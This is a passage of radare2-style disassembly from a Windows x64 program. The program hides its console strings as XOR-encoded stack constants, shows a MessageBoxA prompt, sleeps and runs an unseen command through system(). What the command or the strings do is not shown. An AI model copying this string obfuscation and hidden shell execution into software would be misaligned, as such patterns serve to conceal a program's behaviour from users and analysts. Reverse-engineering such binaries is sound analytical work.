js 0x14000b080
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xbb913f81ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x333983ce8f24891d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x17a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x17a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x17b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x17b8], rax
movabs rax, 0x3da173ec82701793
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17c8], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x17d8], rax
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x17a0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x17c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x6c0], ymm0
lea rdx, [rbp + 0x6a0]
vzeroupper
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x1adccc3530bc8f6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xb4e5266571a02a54
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xff0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xff8], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x230]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xfe8], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x240]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov dword [rbp + 0x24], 3
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0xc78]
call fcn.140002670
mov rdi, rax
lea rcx, [rbp + 0xc60]
call fcn.140002590
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe78]
call fcn.140010e40
lea rcx, [rbp + 0x330]
call fcn.140002590
mov rcx, qword [rbp + 0xe78]
mov qword [rbp + 0x40], rcx
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000ee70
test al, al
jns 0x14000b4f2
movabs rdi, 0xd6bf94d5e57a42bd
nop
call fcn.140008a50
call fcn.140008ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
mov rax, rdi
imul r8
add rdx, r8
sar rdx, 0x15
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
call fcn.140009010
mov qword [rbp + 0x328], 0xfa
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0xc70]
call fcn.140010e60
mov rcx, rax
call fcn.1400120d0
call fcn.140008a50
call fcn.140008ba0
lea rcx, [rbp + 0x330]
call fcn.140002590
mov rcx, qword [rbp + 0xe78]
mov qword [rbp + 0x40], rcx
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000ee70
test al, al
js 0x14000b460
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0xcdaca230b8eda6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb4e5266571a02a6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xe88]
call fcn.14000fe80
nop
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0xe88]
call fcn.14000fe00
movabs rax, 0x1edcce342ea2a173
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs rax, 0xe0b94a0412cf666c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
movabs rax, 0x8edadb107468554c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb70], rax
movabs rax, 0xdd6c403f95e0b6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb78], rax
movabs rax, 0x9985d88c91d25e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0x9bb17ac79d6a8176
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1210], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
movabs rdi, 0x3da173ec82701793
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
vmovdqu ymm0, ymmword [rbp + 0xb60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1200]
vmovdqa ymmword [rbp + 0xb60], ymm1
vmovdqa xmm0, xmmword [rbp + 0xb80]
vxorps xmm0, xmm0, xmmword [rbp + 0x1220]
vmovdqa xmmword [rbp + 0xb80], xmm0
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0xe88]
vzeroupper
call fcn.14000fe00
nop
xor r8d, r8d
lea rdx, [rbp + 0xe88]
lea rcx, [rbp + 0xc80]
call fcn.140010ed0
nop
lea rcx, [rbp + 0xc80]
call fcn.1400031e0
mov byte [rbp + 0x10], al
lea rcx, [rbp + 0xc80]
call fcn.1400027e0
cmp byte [rbp + 0x10], 0
jne 0x14000b9da
xor r8d, r8d
lea rdx, [rbp + 0xe88]
lea rcx, [rbp + 0xca0]
call fcn.140010ed0
nop
lea rcx, [rbp + 0xca0]
call fcn.140003330
nop
lea rcx, [rbp + 0xca0]
call fcn.1400027e0
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0xbb913f81ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0x333983ce8f24891d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x17e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x17e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x17f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x17f8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1800], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1808], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1810], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1818], rax
vmovdqu ymm0, ymmword [rbp + 0x17e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x660], ymm0
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x1800]
vmovdqa ymmword [rbp + 0x680], ymm1
lea rdx, [rbp + 0x660]
vzeroupper
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x1bc9c03c30a58f6b
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xb4e5266571a04e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movdqa xmm0, xmmword [rbp + 0x260]
xorps xmm0, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x260]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfb0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xfb8], rax
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
call fcn.140010b40
jmp 0x14000bcb8
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0xb0913f81ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x3339a3eea404891d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1820], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1828], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1830], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1838], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1840], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1848], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1850], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1858], rax
vmovdqu ymm0, ymmword [rbp + 0x1820]
vpxor ymm0, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x720], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1840]
vpxor ymm0, ymm1, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x740], ymm0
lea rdx, [rbp + 0x720]
vzeroupper
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5fd1cb313ba08c6e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0xe1c5420005d44f63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0xaaa8ba4228183859
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x19c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x19d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x19d8], rax
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x19c0]
vmovdqa ymmword [rbp + 0x420], ymm1
lea rdx, [rbp + 0x420]
vzeroupper
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfa0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xfa8], rax
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rbp + 0xfa0]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
jmp 0x14000bd09
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov dword [rbp + 0x28], 3
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xc20]
call fcn.140002670
mov rdi, rax
lea rcx, [rbp + 0xc28]
call fcn.140002590
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe70]
call fcn.140010e40
lea rcx, [rbp + 0x358]
call fcn.140002590
mov rcx, qword [rbp + 0xe70]
mov qword [rbp + 0x50], rcx
mov rax, qword [rax]
mov qword [rbp + 0x58], rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14000ee70
test al, al
jns 0x14000be24
movabs r12, 0xd6bf94d5e57a42bd
call fcn.140008a50
call fcn.140008ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
mov rax, r12
imul r8
add rdx, r8
sar rdx, 0x15
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
call fcn.140009600
mov qword [rbp + 0x338], 0xfa
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0xc30]
call fcn.140010e60
mov rcx, rax
call fcn.1400120d0
lea rcx, [rbp + 0x358]
call fcn.140002590
mov rcx, qword [rbp + 0xe70]
mov qword [rbp + 0x50], rcx
mov rax, qword [rax]
mov qword [rbp + 0x58], rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14000ee70
test al, al
js 0x14000bd92
movabs r12, 0x9bb11fa1cf21ef14
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rdi, 0x36ffe7703fa7916e
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd183490a01f30a74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xaaa8ba422818385b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1680], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1688], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1690], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1698], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1680]
vmovdqa ymmword [rbp + 0x3e0], ymm1
movabs rax, 0x5fddc0097eb7926e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xdb81480c26804479
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xaaa8857319384b5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x16a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x16a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x16b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16b8], rax
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x16a0]
vmovdqa ymmword [rbp + 0x3c0], ymm1
mov r9d, 0x24
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
sub eax, 6
je 0x14000ecf2
cmp eax, 1
jne 0x14000c2d5
call fcn.140008a50
call fcn.140008ba0
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0xbb913481ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rdx, 0x3339a3eea404a93d
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x18a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x18b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18b8], rax
movabs rdi, 0x3da173ec82701793
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x18c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x18d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x18d8], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x18a0]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp + 0x18c0]
vmovdqa ymmword [rbp + 0x600], ymm1
lea rdx, [rbp + 0x5e0]
vzeroupper
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x1dc1db312ebf8f6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xdca6061c05c94659
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xaaa8ba264d735b4c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x16c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x16c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x16d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16d8], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x16c0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
lea rdx, [rbp + 0x3a0]
vzeroupper
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x120]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
jmp 0x14000c2df
movabs rdi, 0x3da173ec82701793
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0xbb913f81ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x3339a3ee8424821d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x18e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x18f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18f8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1900], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1908], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1910], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1918], rax
vmovdqu ymm0, ymmword [rbp + 0x18e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x560], ymm0
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x1900]
vmovdqa ymmword [rbp + 0x580], ymm1
lea rdx, [rbp + 0x560]
vzeroupper
call fcn.140010b40
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5fdaca3631bd907c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xb4e5563051d44f63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf78], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0xf70]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x2a0]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006e620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x1bc7dd007e8fcb74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xb4e526454bd44945
mov qword [rbp], rax
mov rax, qword [rbp]
